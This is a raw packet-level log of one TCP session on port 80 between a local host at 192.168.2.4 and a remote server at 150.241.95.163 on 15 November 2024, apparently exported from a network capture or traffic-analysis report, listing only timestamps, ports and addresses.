Nov 15, 2024 10:28:30.735565901 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735570908 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735583067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735593081 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735625029 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.735646009 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735656977 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735667944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.735687017 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.736159086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736170053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736202955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736206055 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.736213923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736252069 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.736284018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736294985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736306906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736320972 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.736326933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736340046 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.736428022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736439943 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736450911 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.736460924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.736488104 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.777609110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.777630091 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.777642965 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.777694941 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.832474947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.832496881 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.832515001 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.832545996 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.832725048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.832736969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.832779884 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864130020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864156008 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864175081 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864187002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864198923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864211082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864228964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864278078 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864289999 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864300966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864312887 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864324093 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864332914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864341021 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864351988 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864407063 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864428043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864438057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864449024 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864460945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864464045 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864471912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864486933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864501953 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864526987 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864598036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864609003 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864619970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864630938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864634037 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864643097 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864654064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864695072 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864703894 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864739895 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864751101 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864763021 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864789009 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864804983 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864808083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864820004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864836931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864849091 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864855051 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864892006 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.864953995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864965916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864976883 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864986897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.864998102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865001917 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.865010023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865020037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865021944 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.865031004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865042925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865063906 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.865082026 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865114927 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.865199089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865211010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865221977 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865231991 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865242958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865253925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865259886 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.865266085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865287066 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.865416050 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865427017 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865437031 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865454912 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.865466118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865473032 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.865478039 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865484953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865503073 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865528107 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.865545988 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.865571976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865582943 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865600109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.865622997 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.900845051 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.900923967 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.900949955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.900959969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.900981903 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.901000977 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.942354918 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.955945969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.955996037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.956015110 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.956027985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.956038952 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.956039906 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.956063032 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.987684965 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.987708092 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.987768888 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.987823009 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.987869024 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.987881899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.987894058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.987930059 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.987972975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.987984896 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.987997055 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988008976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988020897 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.988039970 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.988146067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988162994 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988174915 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988184929 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988198042 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988205910 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.988208055 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988220930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988235950 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.988238096 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988251925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988255978 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.988264084 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988274097 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988276005 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.988369942 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988384008 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.988408089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.988435030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988466024 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988476038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988501072 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.988933086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988945007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988955975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.988980055 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989003897 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989007950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989021063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989033937 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989044905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989054918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989058971 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989087105 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989088058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989098072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989123106 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989197016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989206076 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989234924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989428043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989448071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989460945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989463091 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989490032 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989664078 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989676952 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989686966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989698887 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989706993 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989733934 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989869118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989880085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989890099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989895105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989900112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989912033 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989922047 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.989933968 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989960909 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.989993095 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.990025997 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.990032911 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.990392923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.990430117 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.990515947 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.990622997 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.990633965 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.990658998 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.990778923 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.990823030 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.990962982 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.990987062 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.990998983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991008997 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991019011 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991025925 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.991030931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991039038 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.991040945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991051912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991063118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991070032 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.991072893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991085052 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991087914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.991096973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991107941 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.991130114 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.991163015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991173029 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991197109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:30.991198063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991209984 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991245985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:30.991251945 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.024349928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.024365902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.024378061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.024461031 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.024485111 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.079168081 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.079205036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.079216003 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.079332113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.079344034 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.079348087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.079360008 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.079370022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.079372883 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.079375982 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.079418898 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.111342907 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111360073 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111371994 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111382961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111402035 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111413002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111478090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111488104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111498117 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111509085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111516953 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.111516953 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.111531973 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.111562967 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.111586094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111598015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111603975 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111608982 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111613989 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111681938 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.111689091 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111700058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111710072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111721039 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111721992 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.111732006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111749887 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.111773014 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.111824036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111835003 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111845016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.111865997 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.112235069 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112246990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112257957 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112281084 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.112282038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112293959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112298012 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.112329006 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.112380981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112391949 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112402916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112432957 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.112709999 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112720966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112731934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112750053 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.112751007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112762928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112771988 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112782001 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112782955 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.112792015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112802982 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.112826109 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.112921953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112931967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112942934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112955093 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.112958908 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.112982035 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.113276005 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113286972 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113296986 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113302946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113313913 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113321066 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.113358021 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.113368034 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.113600969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113611937 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113651037 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.113719940 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113732100 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113744020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113754988 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.113766909 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.113782883 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.114337921 CET	80	49736	150.241.95.163	192.168.2.4
